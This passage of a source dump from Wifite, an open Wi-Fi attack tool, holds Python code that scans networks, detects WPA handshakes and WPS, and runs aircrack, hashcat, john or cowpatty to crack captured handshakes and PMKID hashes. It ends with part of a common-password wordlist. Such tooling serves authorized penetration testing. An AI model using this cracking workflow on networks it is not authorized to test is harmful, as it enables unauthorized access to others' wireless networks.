E.g. 12:34:56,21:43:65 -> 3 target_client_msg_nums = {} for line in output.split('\n'): src, dst, index, total = Tshark._extract_src_dst_index_total(line) if src is None: continue # Skip index = int(index) total = int(total) if total != 4: continue # Handshake X of 5? X of 3? Skip it. # Identify the client and target MAC addresses if index % 2 == 1: # First and Third messages target = src client = dst else: # Second and Fourth messages client = src target = dst if bssid is not None and bssid.lower() != target.lower(): # We know the BSSID and this msg was not for the target continue target_client_key = '%s,%s' % (target, client) # Ensure all 4 messages are: # Between the same client and target (not different clients connecting). # In numeric & chronological order (Message 1, then 2, then 3, then 4) if index == 1: target_client_msg_nums[target_client_key] = 1 # First message elif target_client_key not in target_client_msg_nums: continue # Not first message. We haven't gotten the first message yet. Skip. elif index - 1 != target_client_msg_nums[target_client_key]: continue # Message is not in sequence. Skip else: # Happy case: Message is > 1 and is received in-order target_client_msg_nums[target_client_key] = index return target_client_msg_nums @staticmethod def bssids_with_handshakes(capfile, bssid=None): if not Tshark.exists(): return [] # Returns list of BSSIDs for which we have valid handshakes in the capfile. command = [ 'tshark', '-r', capfile, '-n', # Don't resolve addresses '-Y', 'eapol' # Filter for only handshakes ] tshark = Process(command, devnull=False) target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid) bssids = set() # Check if we have all 4 messages for the handshake between the same MACs for (target_client, num) in target_client_msg_nums.items(): if num == 4: # We got a handshake! this_bssid = target_client.split(',')[0] bssids.add(this_bssid) return list(bssids) @staticmethod def bssid_essid_pairs(capfile, bssid): # Finds all BSSIDs (with corresponding ESSIDs) from cap file. # Returns list of tuples(BSSID, ESSID) if not Tshark.exists(): return [] ssid_pairs = set() command = [ 'tshark', '-r', capfile, # Path to cap file '-n', # Don't resolve addresses # Extract beacon frames '-Y', '"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05"', ] tshark = Process(command, devnull=False) for line in tshark.stdout().split('\n'): # Extract src, dst, and essid mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line) if match is None: continue # Line doesn't contain src, dst, ssid (src, dst, essid) = match.groups() if dst.lower() == 'ff:ff:ff:ff:ff:ff': continue # Skip broadcast packets if bssid is not None: # We know the BSSID, only return the ESSID for this BSSID. if bssid.lower() == src.lower(): ssid_pairs.add((src, essid)) # This is our BSSID, add it else: ssid_pairs.add((src, essid)) # We do not know BSSID, add it. return list(ssid_pairs) @staticmethod def check_for_wps_and_update_targets(capfile, targets): ''' Given a cap file and list of targets, use TShark to find which BSSIDs in the cap file use WPS. Then update the 'wps' flag for those BSSIDs in the targets. Args: capfile - .cap file from airodump containing packets targets - list of Targets from scan, to be updated ''' from ..config import Configuration if not Tshark.exists(): raise ValueError('Cannot detect WPS networks: Tshark does not exist') command = [ 'tshark', '-r', capfile, # Path to cap file '-n', # Don't resolve addresses # Filter WPS broadcast packets '-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff', '-T', 'fields', # Only output certain fields '-e', 'wlan.ta', # BSSID '-e', 'wps.ap_setup_locked', # Locked status '-E', 'separator=,' # CSV ] p = Process(command) try: p.wait() lines = p.stdout() except: # Failure is acceptable return wps_bssids = set() locked_bssids = set() for line in lines.split('\n'): if ',' not in line: continue bssid, locked = line.split(',') if '1' not in locked: wps_bssids.add(bssid.upper()) else: locked_bssids.add(bssid.upper()) for t in targets: target_bssid = t.bssid.upper() if target_bssid in wps_bssids: t.wps = WPSState.UNLOCKED elif target_bssid in locked_bssids: t.wps = WPSState.LOCKED else: t.wps = WPSState.NONE if __name__ == '__main__': test_file = './tests/files/contains_wps_network.cap' target_bssid = 'A4:2B:8C:16:6B:3A' from ..model.target import Target fields = [ 'A4:2B:8C:16:6B:3A', # BSSID '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates '11', # Channel '54', # throughput 'WPA2', 'CCMP TKIP', 'PSK', # AUTH '-58', '2', '0', '0.0.0.0', '9', # ??? 'Test Router Please Ignore', # SSID ] t = Target(fields) targets = [t] # Should update 'wps' field of a target Tshark.check_for_wps_and_update_targets(test_file, targets) print('Target(BSSID={}).wps = {} (Expected: 1)'.format( targets[0].bssid, targets[0].wps)) assert targets[0].wps == WPSState.UNLOCKED print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) ================================================ FILE: wifite/tools/wash.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..model.target import WPSState from ..util.process import Process import json class Wash(Dependency): ''' Wrapper for Wash program. ''' dependency_required = False dependency_name = 'wash' dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' def __init__(self): pass @staticmethod def check_for_wps_and_update_targets(capfile, targets): if not Wash.exists(): return command = [ 'wash', '-f', capfile, '-j' # json ] p = Process(command) try: p.wait() lines = p.stdout() except: # Failure is acceptable return # Find all BSSIDs wps_bssids = set() locked_bssids = set() for line in lines.split('\n'): try: obj = json.loads(line) bssid = obj['bssid'] locked = obj['wps_locked'] if locked != True: wps_bssids.add(bssid) else: locked_bssids.add(bssid) except: pass # Update targets for t in targets: target_bssid = t.bssid.upper() if target_bssid in wps_bssids: t.wps = WPSState.UNLOCKED elif target_bssid in locked_bssids: t.wps = WPSState.LOCKED else: t.wps = WPSState.NONE if __name__ == '__main__': test_file = './tests/files/contains_wps_network.cap' target_bssid = 'A4:2B:8C:16:6B:3A' from ..model.target import Target fields = [ 'A4:2B:8C:16:6B:3A', # BSSID '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates '11', # Channel '54', # throughput 'WPA2', 'CCMP TKIP', 'PSK', # AUTH '-58', '2', '0', '0.0.0.0', '9', # ??? 'Test Router Please Ignore', # SSID ] t = Target(fields) targets = [t] # Should update 'wps' field of a target Wash.check_for_wps_and_update_targets(test_file, targets) print('Target(BSSID={}).wps = {} (Expected: 1)'.format( targets[0].bssid, targets[0].wps)) assert targets[0].wps == WPSState.UNLOCKED ================================================ FILE: wifite/util/__init__.py ================================================ ================================================ FILE: wifite/util/color.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys class Color(object): ''' Helper object for easily printing colored text to the terminal. ''' # Basic console colors colors = { 'W' : '\033[0m', # white (normal) 'R' : '\033[31m', # red 'G' : '\033[32m', # green 'O' : '\033[33m', # orange 'B' : '\033[34m', # blue 'P' : '\033[35m', # purple 'C' : '\033[36m', # cyan 'GR': '\033[37m', # gray 'D' : '\033[2m' # dims current color. {W} resets. } # Helper string replacements replacements = { '{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}', '{!}': ' {O}[{R}!{O}]{W}', '{?}': ' {W}[{C}?{W}]' } last_sameline_length = 0 @staticmethod def p(text): ''' Prints text using colored format on same line. Example: Color.p('{R}This text is red. {W} This text is white') ''' sys.stdout.write(Color.s(text)) sys.stdout.flush() if '\r' in text: text = text[text.rfind('\r')+1:] Color.last_sameline_length = len(text) else: Color.last_sameline_length += len(text) @staticmethod def pl(text): '''Prints text using colored format with trailing new line.''' Color.p('%s\n' % text) Color.last_sameline_length = 0 @staticmethod def pe(text): '''Prints text using colored format with leading and trailing new line to STDERR.''' sys.stderr.write(Color.s('%s\n' % text)) Color.last_sameline_length = 0 @staticmethod def s(text): ''' Returns colored string ''' output = text for (key,value) in Color.replacements.items(): output = output.replace(key, value) for (key,value) in Color.colors.items(): output = output.replace('{%s}' % key, value) return output @staticmethod def clear_line(): spaces = ' ' * Color.last_sameline_length sys.stdout.write('\r%s\r' % spaces) sys.stdout.flush() Color.last_sameline_length = 0 @staticmethod def clear_entire_line(): import os (rows, columns) = os.popen('stty size', 'r').read().split() Color.p('\r' + (' ' * int(columns)) + '\r') @staticmethod def pattack(attack_type, target, attack_name, progress): ''' Prints a one-liner for an attack. Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress. ESSID (Pwr) Attack_Type: Progress e.g.: Router2G (23db) WEP replay attack: 102 IVs ''' essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}' Color.p('\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % ( essid, target.power, attack_type, attack_name, progress)) @staticmethod def pexception(exception): '''Prints an exception. Includes stack trace if necessary.''' Color.pl('\n{!} {R}Error: {O}%s' % str(exception)) # Don't dump trace for the "no targets found" case. if 'No targets found' in str(exception): return from ..config import Configuration if Configuration.verbose > 0 or Configuration.print_stack_traces: Color.pl('\n{!} {O}Full stack trace below') from traceback import format_exc Color.p('\n{!} ') err = format_exc().strip() err = err.replace('\n', '\n{!} {C} ') err = err.replace(' File', '{W}File') err = err.replace(' Exception: ', '{R}Exception: {O}') Color.pl(err) if __name__ == '__main__': Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done') print(Color.s('{C}Testing{P}String{W}')) Color.pl('{+} Good line') Color.pl('{!} Danger') ================================================ FILE: wifite/util/crack.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..config import Configuration from ..model.handshake import Handshake from ..model.wpa_result import CrackResultWPA from ..model.pmkid_result import CrackResultPMKID from ..util.process import Process from ..util.color import Color from ..util.input import raw_input from ..tools.aircrack import Aircrack from ..tools.cowpatty import Cowpatty from ..tools.hashcat import Hashcat, HcxPcapTool from ..tools.john import John from json import loads import os # TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal. # TODO: --no-crack option while attacking targets (implies user will run --crack later) class CrackHelper: '''Manages handshake retrieval, selection, and running the cracking commands.''' TYPES = { '4-WAY': '4-Way Handshake', 'PMKID': 'PMKID Hash' } @classmethod def run(cls): Configuration.initialize(False) # Get wordlist if not Configuration.wordlist: Color.p('\n{+} Enter wordlist file to use for cracking: {G}') Configuration.wordlist = raw_input() if not os.path.exists(Configuration.wordlist): Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist) return Color.pl('') # Get handshakes handshakes = cls.get_handshakes() if len(handshakes) == 0: Color.pl('{!} {O}No handshakes found{W}') return hs_to_crack = cls.get_user_selection(handshakes) all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack]) # Tools for cracking & their dependencies. available_tools = { 'aircrack': [Aircrack], 'hashcat': [Hashcat, HcxPcapTool], 'john': [John, HcxPcapTool], 'cowpatty': [Cowpatty] } # Identify missing tools missing_tools = [] for tool, dependencies in available_tools.items(): missing = [ dep for dep in dependencies if not Process.exists(dep.dependency_name) ] if len(missing) > 0: available_tools.pop(tool) missing_tools.append( (tool, missing) ) if len(missing_tools) > 0: Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}') for tool, deps in missing_tools: dep_list = ', '.join([dep.dependency_name for dep in deps]) Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list)) if all_pmkid: Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') tool_name = 'hashcat' else: Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % ( '{W}, {C}'.join(available_tools.keys()))) tool_name = raw_input() if tool_name not in available_tools: Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name) tool_name = 'aircrack' try: for hs in hs_to_crack: if tool_name != 'hashcat' and hs['type'] == 'PMKID': if 'hashcat' in missing_tools: Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}') cls.crack(hs, tool_name) except KeyboardInterrupt: Color.pl('\n{!} {O}Interrupted{W}') @classmethod def is_cracked(cls, file): if not os.path.exists(Configuration.cracked_file): return False with open(Configuration.cracked_file) as f: json = loads(f.read()) if json is None: return False for result in json: for k in result.keys(): v = result[k] if 'file' in k and os.path.basename(v) == file: return True return False @classmethod def get_handshakes(cls): handshakes = [] skipped_pmkid_files = skipped_cracked_files = 0 hs_dir = Configuration.wpa_handshake_dir if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir): Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir) return [] Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir)) for hs_file in os.listdir(hs_dir): if hs_file.count('_') != 3: continue if cls.is_cracked(hs_file): skipped_cracked_files += 1 continue if hs_file.endswith('.cap'): # WPA Handshake hs_type = '4-WAY' elif hs_file.endswith('.16800'): # PMKID hash if not Process.exists('hashcat'): skipped_pmkid_files += 1 continue hs_type = 'PMKID' else: continue name, essid, bssid, date = hs_file.split('_') date = date.rsplit('.', 1)[0] days,hours = date.split('T') hours = hours.replace('-', ':') date = '%s %s' % (days, hours) handshake = { 'filename': os.path.join(hs_dir, hs_file), 'bssid': bssid.replace('-', ':'), 'essid': essid, 'date': date, 'type': hs_type } if hs_file.endswith('.cap'): # WPA Handshake handshake['type'] = '4-WAY' elif hs_file.endswith('.16800'): # PMKID hash handshake['type'] = 'PMKID' else: continue handshakes.append(handshake) if skipped_pmkid_files > 0: Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\n' % skipped_pmkid_files) if skipped_cracked_files > 0: Color.pl('{!} {O}Skipping %d already cracked files.{W}\n' % skipped_cracked_files) # Sort by Date (Descending) return sorted(handshakes, key=lambda x: x.get('date'), reverse=True) @classmethod def print_handshakes(cls, handshakes): # Header max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')]) Color.p('{W}{D} NUM') Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len)) Color.p(' ' + 'BSSID'.ljust(17)) Color.p(' ' + 'TYPE'.ljust(5)) Color.p(' ' + 'DATE CAPTURED\n') Color.p(' ---') Color.p(' ' + ('-' * max_essid_len)) Color.p(' ' + ('-' * 17)) Color.p(' ' + ('-' * 5)) Color.p(' ' + ('-' * 19) + '{W}\n') # Handshakes for index, handshake in enumerate(handshakes, start=1): Color.p(' {G}%s{W}' % str(index).rjust(3)) Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len)) Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17)) Color.p(' {C}%s{W}' % handshake['type'].ljust(5)) Color.p(' {W}%s{W}\n' % handshake['date']) @classmethod def get_user_selection(cls, handshakes): cls.print_handshakes(handshakes) Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes))) choices = raw_input() selection = [] for choice in choices.split(','): if '-' in choice: first, last = [int(x) for x in choice.split('-')] for index in range(first, last + 1): selection.append(handshakes[index-1]) elif choice.strip().lower() == 'all': selection = handshakes[:] break elif [c.isdigit() for c in choice]: index = int(choice) selection.append(handshakes[index-1]) return selection @classmethod def crack(cls, hs, tool): Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % ( cls.TYPES[hs['type']], hs['essid'], hs['bssid'])) if hs['type'] == 'PMKID': crack_result = cls.crack_pmkid(hs, tool) elif hs['type'] == '4-WAY': crack_result = cls.crack_4way(hs, tool) else: raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs) if crack_result is None: # Failed to crack Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % ( hs['essid'], hs['bssid'])) else: # Cracked, replace existing entry (if any), or add to Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % ( hs['essid'], hs['bssid'], crack_result.key)) crack_result.save() @classmethod def crack_4way(cls, hs, tool): handshake = Handshake(hs['filename'], bssid=hs['bssid'], essid=hs['essid']) try: handshake.divine_bssid_and_essid() except ValueError as e: Color.pl('{!} {R}Error: {O}%s{W}' % e) return None if tool == 'aircrack': key = Aircrack.crack_handshake(handshake, show_command=True) elif tool == 'hashcat': key = Hashcat.crack_handshake(handshake, show_command=True) elif tool == 'john': key = John.crack_handshake(handshake, show_command=True) elif tool == 'cowpatty': key = Cowpatty.crack_handshake(handshake, show_command=True) if key is not None: return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key) else: return None @classmethod def crack_pmkid(cls, hs, tool): if tool != 'hashcat': Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}') key = Hashcat.crack_pmkid(hs['filename'], verbose=True) if key is not None: return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key) else: return None if __name__ == '__main__': CrackHelper.run() ================================================ FILE: wifite/util/input.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # Fix for raw_input on python3: https://stackoverflow.com/a/7321970 try: input = raw_input except NameError: pass raw_input = input try: range = xrange except NameError: pass xrange = range ================================================ FILE: wifite/util/process.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import time import signal import os from subprocess import Popen, PIPE from ..util.color import Color from ..config import Configuration class Process(object): ''' Represents a running/ran process ''' @staticmethod def devnull(): ''' Helper method for opening devnull ''' return open('/dev/null', 'w') @staticmethod def call(command, cwd=None, shell=False): ''' Calls a command (either string or list of args). Returns tuple: (stdout, stderr) ''' if type(command) is not str or ' ' in command or shell: shell = True if Configuration.verbose > 1: Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command) else: shell = False if Configuration.verbose > 1: Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command) pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell) pid.wait() (stdout, stderr) = pid.communicate() # Python 3 compatibility if type(stdout) is bytes: stdout = stdout.decode('utf-8') if type(stderr) is bytes: stderr = stderr.decode('utf-8') if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n'))) if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n'))) return (stdout, stderr) @staticmethod def exists(program): ''' Checks if program is installed on this system ''' p = Process(['which', program]) stdout = p.stdout().strip() stderr = p.stderr().strip() if stdout == '' and stderr == '': return False return True def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE): ''' Starts executing command ''' if type(command) is str: # Commands have to be a list command = command.split(' ') self.command = command if Configuration.verbose > 1: Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command)) self.out = None self.err = None if devnull: sout = Process.devnull() serr = Process.devnull() else: sout = stdout serr = stderr self.start_time = time.time() self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize) def __del__(self): ''' Ran when object is GC'd. If process is still running at this point, it should die. ''' try: if self.pid and self.pid.poll() is None: self.interrupt() except AttributeError: pass def stdout(self): ''' Waits for process to finish, returns stdout output ''' self.get_output() if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n'))) return self.out def stderr(self): ''' Waits for process to finish, returns stderr output ''' self.get_output() if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n'))) return self.err def stdoutln(self): return self.pid.stdout.readline() def stderrln(self): return self.pid.stderr.readline() def stdin(self, text): if self.pid.stdin: self.pid.stdin.write(text.encode('utf-8')) self.pid.stdin.flush() def get_output(self): ''' Waits for process to finish, sets stdout & stderr ''' if self.pid.poll() is None: self.pid.wait() if self.out is None: (self.out, self.err) = self.pid.communicate() if type(self.out) is bytes: self.out = self.out.decode('utf-8') if type(self.err) is bytes: self.err = self.err.decode('utf-8') return (self.out, self.err) def poll(self): ''' Returns exit code if process is dead, otherwise 'None' ''' return self.pid.poll() def wait(self): self.pid.wait() def running_time(self): ''' Returns number of seconds since process was started ''' return int(time.time() - self.start_time) def interrupt(self, wait_time=2.0): ''' Send interrupt to current process. If process fails to exit within `wait_time` seconds, terminates it. ''' try: pid = self.pid.pid cmd = self.command if type(cmd) is list: cmd = ' '.join(cmd) if Configuration.verbose > 1: Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd)) os.kill(pid, signal.SIGINT) start_time = time.time() # Time since Interrupt was sent while self.pid.poll() is None: # Process is still running time.sleep(0.1) if time.time() - start_time > wait_time: # We waited too long for process to die, terminate it. if Configuration.verbose > 1: Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time) os.kill(pid, signal.SIGTERM) self.pid.terminate() break except OSError as e: if 'No such process' in e.__str__(): return raise e # process cannot be killed if __name__ == '__main__': Configuration.initialize(False) p = Process('ls') print(p.stdout()) print(p.stderr()) p.interrupt() # Calling as list of arguments (out, err) = Process.call(['ls', '-lah']) print(out) print(err) print('\n---------------------\n') # Calling as string (out, err) = Process.call('ls -l | head -2') print(out) print(err) print('"reaver" exists: %s' % Process.exists('reaver')) # Test on never-ending process p = Process('yes') print('Running yes...') time.sleep(1) print('yes should stop now') # After program loses reference to instance in 'p', process dies. ================================================ FILE: wifite/util/scanner.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from ..tools.airodump import Airodump from ..util.input import raw_input, xrange from ..model.target import Target, WPSState from ..config import Configuration from time import sleep, time class Scanner(object): ''' Scans wifi networks & provides menu for selecting targets ''' # Console code for moving up one line UP_CHAR = '\x1B[1F' def __init__(self): ''' Scans for targets via Airodump. Loops until scan is interrupted via user or config. Note: Sets this object's `targets` attrbute (list[Target]) upon interruption. ''' self.previous_target_count = 0 self.targets = [] self.target = None # Target specified by user (based on ESSID/BSSID) max_scan_time = Configuration.scan_time self.err_msg = None # Loads airodump with interface/channel/etc from Configuration try: with Airodump() as airodump: # Loop until interrupted (Ctrl+C) scan_start_time = time() while True: if airodump.pid.poll() is not None: return # Airodump process died self.targets = airodump.get_targets(old_targets=self.targets) if self.found_target(): return # We found the target we want if airodump.pid.poll() is not None: return # Airodump process died for target in self.targets: if target.bssid in airodump.decloaked_bssids: target.decloaked = True self.print_targets() target_count = len(self.targets) client_count = sum(len(t.clients) for t in self.targets) outline = '\r{+} Scanning' if airodump.decloaking: outline += ' & decloaking' outline += '. Found' outline += ' {G}%d{W} target(s),' % target_count outline += ' {G}%d{W} client(s).' % client_count outline += ' {O}Ctrl+C{W} when ready ' Color.clear_entire_line() Color.p(outline) if max_scan_time > 0 and time() > scan_start_time + max_scan_time: return sleep(1) except KeyboardInterrupt: pass def found_target(self): ''' Detect if we found a target specified by the user (optional). Sets this object's `target` attribute if found. Returns: True if target was specified and found, False otherwise. ''' bssid = Configuration.target_bssid essid = Configuration.target_essid if bssid is None and essid is None: return False # No specific target from user. for target in self.targets: if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]: continue if bssid and target.bssid and bssid.lower() == target.bssid.lower(): self.target = target break if essid and target.essid and essid.lower() == target.essid.lower(): self.target = target break if self.target: Color.pl('\n{+} {C}found target{G} %s {W}({G}%s{W})' % (self.target.bssid, self.target.essid)) return True return False def print_targets(self): '''Prints targets selection menu (1 target per row).''' if len(self.targets) == 0: Color.p('\r') return if self.previous_target_count > 0: # We need to 'overwrite' the previous list of targets. if Configuration.verbose <= 1: # Don't clear screen buffer in verbose mode. if self.previous_target_count > len(self.targets) or \ Scanner.get_terminal_height() < self.previous_target_count + 3: # Either: # 1) We have less targets than before, so we can't overwrite the previous list # 2) The terminal can't display the targets without scrolling. # Clear the screen. from ..util.process import Process Process.call('clear') else: # We can fit the targets in the terminal without scrolling # 'Move' cursor up so we will print over the previous list Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) self.previous_target_count = len(self.targets) # Overwrite the current line Color.p('\r{W}{D}') # First row: columns Color.p(' NUM') Color.p(' ESSID') if Configuration.show_bssids: Color.p(' BSSID') Color.pl(' CH ENCR POWER WPS? CLIENT') # Second row: separator Color.p(' ---') Color.p(' -------------------------') if Configuration.show_bssids: Color.p(' -----------------') Color.pl(' --- ---- ----- ---- ------{W}') # Remaining rows: targets for idx, target in enumerate(self.targets, start=1): Color.clear_entire_line() Color.p(' {G}%s ' % str(idx).rjust(3)) Color.pl(target.to_str(Configuration.show_bssids)) @staticmethod def get_terminal_height(): import os (rows, columns) = os.popen('stty size', 'r').read().split() return int(rows) @staticmethod def get_terminal_width(): import os (rows, columns) = os.popen('stty size', 'r').read().split() return int(columns) def select_targets(self): ''' Returns list(target) Either a specific target if user specified -bssid or --essid. Otherwise, prompts user to select targets and returns the selection. ''' if self.target: # When user specifies a specific target return [self.target] if len(self.targets) == 0: if self.err_msg is not None: Color.pl(self.err_msg) # TODO Print a more-helpful reason for failure. # 1. Link to wireless drivers wiki, # 2. How to check if your device supporst monitor mode, # 3. Provide airodump-ng command being executed. raise Exception('No targets found.' + ' You may need to wait longer,' + ' or you may have issues with your wifi card') # Return all targets if user specified a wait time ('pillage'). if Configuration.scan_time > 0: return self.targets # Ask user for targets. self.print_targets() Color.clear_entire_line() if self.err_msg is not None: Color.pl(self.err_msg) input_str = '{+} select target(s)' input_str += ' ({G}1-%d{W})' % len(self.targets) input_str += ' separated by commas, dashes' input_str += ' or {G}all{W}: ' chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): choice = choice.strip() if choice.lower() == 'all': chosen_targets = self.targets break if '-' in choice: # User selected a range (lower,upper) = [int(x) - 1 for x in choice.split('-')] for i in xrange(lower, min(len(self.targets), upper + 1)): chosen_targets.append(self.targets[i]) elif choice.isdigit(): choice = int(choice) - 1 chosen_targets.append(self.targets[choice]) return chosen_targets if __name__ == '__main__': # 'Test' script will display targets and selects the appropriate one Configuration.initialize() try: s = Scanner() targets = s.select_targets() except Exception as e: Color.pl('\r {!} {R}Error{W}: %s' % str(e)) Configuration.exit_gracefully(0) for t in targets: Color.pl(' {W}Selected: %s' % t) Configuration.exit_gracefully(0) ================================================ FILE: wifite/util/timer.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import time class Timer(object): def __init__(self, seconds): self.start_time = time.time() self.end_time = self.start_time + seconds def remaining(self): return max(0, self.end_time - time.time()) def ended(self): return self.remaining() == 0 def running_time(self): return time.time() - self.start_time def __str__(self): ''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s''' return Timer.secs_to_str(self.remaining()) @staticmethod def secs_to_str(seconds): '''Human-readable seconds. 193 -> 3m13s''' if seconds < 0: return '-%ds' % seconds rem = int(seconds) hours = int(rem / 3600) mins = int((rem % 3600) / 60) secs = rem % 60 if hours > 0: return '%dh%dm%ds' % (hours, mins, secs) elif mins > 0: return '%dm%ds' % (mins, secs) else: return '%ds' % secs ================================================ FILE: wordlist-top4800-probable.txt ================================================ password 123456789 12345678 1q2w3e4r sunshine football 1234567890 computer superman internet iloveyou 1qaz2wsx baseball whatever princess abcd1234 starwars trustno1 password1 jennifer michelle mercedes benjamin 11111111 samantha victoria alexander 987654321 asdf1234 1234qwer qwertyuiop q1w2e3r4 elephant garfield chocolate jonathan caroline maverick midnight 88888888 creative qwerty123 cocacola passw0rd liverpool blink182 asdfghjkl danielle scorpion veronica nicholas asdfasdf metallica december patricia christian spiderman security slipknot november jordan23 qwertyui butterfly swordfish carolina hardcore corvette 12341234 remember qwer1234 leonardo snickers williams angelina anderson 123123123 pakistan marlboro kimberly 00000000 snowball sebastian godzilla hello123 champion precious einstein napoleon mountain dolphins charlotte fernando basketball barcelona 87654321 paradise motorola bullshit brooklyn stephanie elizabeth qwerty12 franklin american platinum icecream darkness cristina colorado alexandra steelers serenity mitchell lollipop marshall 1qazxsw2 12344321 startrek christine business nintendo 12qwaszx asdfghjk Password 1q2w3e4r5t zaq12wsx scotland hercules explorer manchester firebird engineer virginia simpsons angelica september isabelle isabella changeme passport infinity superstar courtney scarface pavilion abcdefgh a1b2c3d4 harrison spitfire catherine birthday wolverine guinness california logitech emmanuel 11223344 goldfish cheyenne testtest stargate microsoft anything aaaaaaaa welcome1 eternity westside password123 maryjane michael1 lawrence kristina kawasaki drowssap blahblah babygirl poohbear florence sapphire hamilton greenday qazwsxedc twilight swimming stardust predator penelope michigan margaret brittany shithead redskins pussycat fireball cherokee australia 1234abcd lovelove thailand lasvegas butthead blizzard shamrock bluebird atlantis 147258369 valentine magnolia juventus diamonds christopher warcraft renegade mohammed terminator shopping savannah giovanni 12121212 wildcats portugal beautiful sunflower santiago kathleen enterprise clifford christina 55555555 something rosemary vacation hollywood chandler 99999999 lorraine children beatrice airborne valentin moonlight kamikaze strawberry software 22222222 skywalker salvador panthers lacrosse charlie1 cardinal bluemoon 0123456789 zeppelin rockstar operator dragonfly dickhead anaconda amsterdam 789456123 77777777 skittles personal kingkong geronimo christmas wrestling robinson lightning kingston hannibal download darkstar undertaker tinkerbell sweetpea softball panasonic pa55word keyboard darkside cleopatra assassin vladimir national matthew1 godfather brothers warriors universe rush2112 mushroom bigdaddy 1a2b3c4d ultimate peterpan loverboy truelove trombone madeline gangster dingdong catalina alejandro kittycat aquarius 1111111111 patriots jamesbond ihateyou blessing airplane Password1 stingray hellfire guardian flamingo 0987654321 socrates richmond electric thankyou sterling munchkin morpheus imperial happiness goodluck columbia campbell blackjack 999999999 telephone oblivion newcastle freedom1 washington valentina valencia spectrum jessica1 jeremiah handsome goldberg gabriela anthony1 a1234567 xxxxxxxx peekaboo motherfucker montreal katherine kangaroo immortal chocolat thompson research oklahoma mariposa idontknow defender applepie squirrel pineapple hongkong dinosaur babydoll wolfgang semperfi patience fletcher drpepper creation wordpass passwort original nightmare martinez labrador excalibur discovery apple123 sundance redwings mypassword monopoly margarita lionking football1 director 44444444 sylvester sherlock marianne lancelot jeanette cannabis andromeda werewolf starcraft marathon longhorn happy123 brucelee argentina 147852369 wrangler william1 stranger scarlett qweasdzxc playstation morrison february fantasia designer 